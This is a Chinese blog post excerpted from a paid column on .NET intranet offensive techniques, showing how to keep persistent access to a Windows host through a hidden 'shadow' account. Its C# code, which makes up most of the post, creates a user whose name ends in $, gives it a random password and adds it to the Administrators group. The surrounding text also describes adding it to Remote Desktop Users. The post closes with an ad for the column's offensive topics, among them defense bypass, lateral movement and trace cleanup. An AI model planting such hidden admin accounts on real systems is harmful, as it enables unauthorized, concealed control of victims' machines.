.NET 通过系统影子账户实现权限维持

01阅读须知

此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧。

02基本介绍

03编码实现

在 Windows 操作系统中,影子用户通常是指那些不易被普通用户或系统管理员察觉的隐藏用户账户,创建影子用户常见的做法是在用户名后面添加 符号,例如,admin。通过这种方式创建的用户不会显示在 Windows 登录界面或命令行中,因此常用于维持目标权限阶段。下面,我们将详细介绍如何通过影子账户实现权限维持。

3.1 创建账户

在.NET中,我们可以使用System.DirectoryServices命名空间可以方便地管理用户和组。首先通过创建一个DirectoryEntry对象访问本地计算机的目录服务,具体实现代码如下所示。

复制代码
DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");

协议中的 <主机名>:表示目标计算机的名称,可以是本地计算机或远程计算机。<对象类型>:表示目录对象的类型,如 computer、user、group 等。<对象名称>:表示目录对象的名称,如用户名或组名。比如访问本地test用户,在.NET中可以使用如下代码

复制代码
DirectoryEntry localUser = new DirectoryEntry("WinNT://" + Environment.MachineName + "/User/username");

接着,使用DirectoryEntry 实例化之后对象Children.Add方法添加一个新的系统用户对象,具体代码如下所示。

复制代码
string username = user + "$";
string chars = "!@#$%0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
Random randrom = new Random((int)DateTime.Now.Ticks);
string password = "";
for (int i = 0; i < 10; i++)
{
      password += chars[randrom.Next(chars.Length)].ToString();
}
DirectoryEntry NewUser = AD.Children.Add(username, "user");
NewUser.Invoke("SetPassword", new object[]
{
    password
});

3.2 添加到管理员组

随后,我们需要将新创建的系统用户分别添加到Administrators组和Remote Desktop Users组,这样用户就具备了超级管理员和远程登录的权限。

复制代码
DirectoryEntry grp = AD.Children.Find("Administrators", "group");
bool flag2 = grp != null;
if (flag2)
{
    grp.Invoke("Add", new object[]
    {
        NewUser.Path.ToString()
    });
}

利用系统影子账户是一种常见且有效的方法。通过使用 DirectoryEntry 类和 WinNT 协议接口,在本地计算机上创建新用户并将其添加到系统的管理员组,方便红队持续维持目标权限,想要了解更多内网权限维持的文章,可以移步订阅小报童《.NET 内网实战攻防》电子报刊。

04**.NET 电子报刊**

电子报刊【.NET内网安全攻防】专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。

复制代码
1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理
相关推荐
吱吱企业安全通讯软件14 分钟前
吱吱企业通讯软件保证内部通讯安全,搭建数字安全体系
大数据·网络·人工智能·安全·信息与通信·吱吱办公通讯
追逐时光者18 分钟前
2025 年全面的 C#/.NET/.NET Core 学习路线集合,学习不迷路!
后端·.net
云手机掌柜19 分钟前
Tumblr长文运营:亚矩阵云手机助力多账号轮询与关键词布局系统
大数据·服务器·tcp/ip·矩阵·流量运营·虚幻·云手机
SchuylerEX34 分钟前
第六章 JavaScript 互操(2).NET调用JS
前端·c#·.net·blazor·ui框架
tt55555555555539 分钟前
字符串与算法题详解:最长回文子串、IP 地址转换、字符串排序、蛇形矩阵与字符串加密
c++·算法·矩阵
云边云科技2 小时前
零售行业新店网络零接触部署场景下,如何选择SDWAN
运维·服务器·网络·人工智能·安全·边缘计算·零售
百锦再2 小时前
一文精通 Swagger 在 .NET 中的全方位配置与应用
后端·ui·.net·接口·配置·swagger·访问
中科数测4 小时前
开源软件惊现高危漏洞,中科固源解决方案利用GDB 调试成关键 “排雷兵”,实战运用指南
安全
AAA修煤气灶刘哥6 小时前
《从 0 到 1 上手:RBAC+SpringSecurity 权限管理教程》
java·后端·安全
快去睡觉~8 小时前
力扣48:旋转矩阵
算法·leetcode·矩阵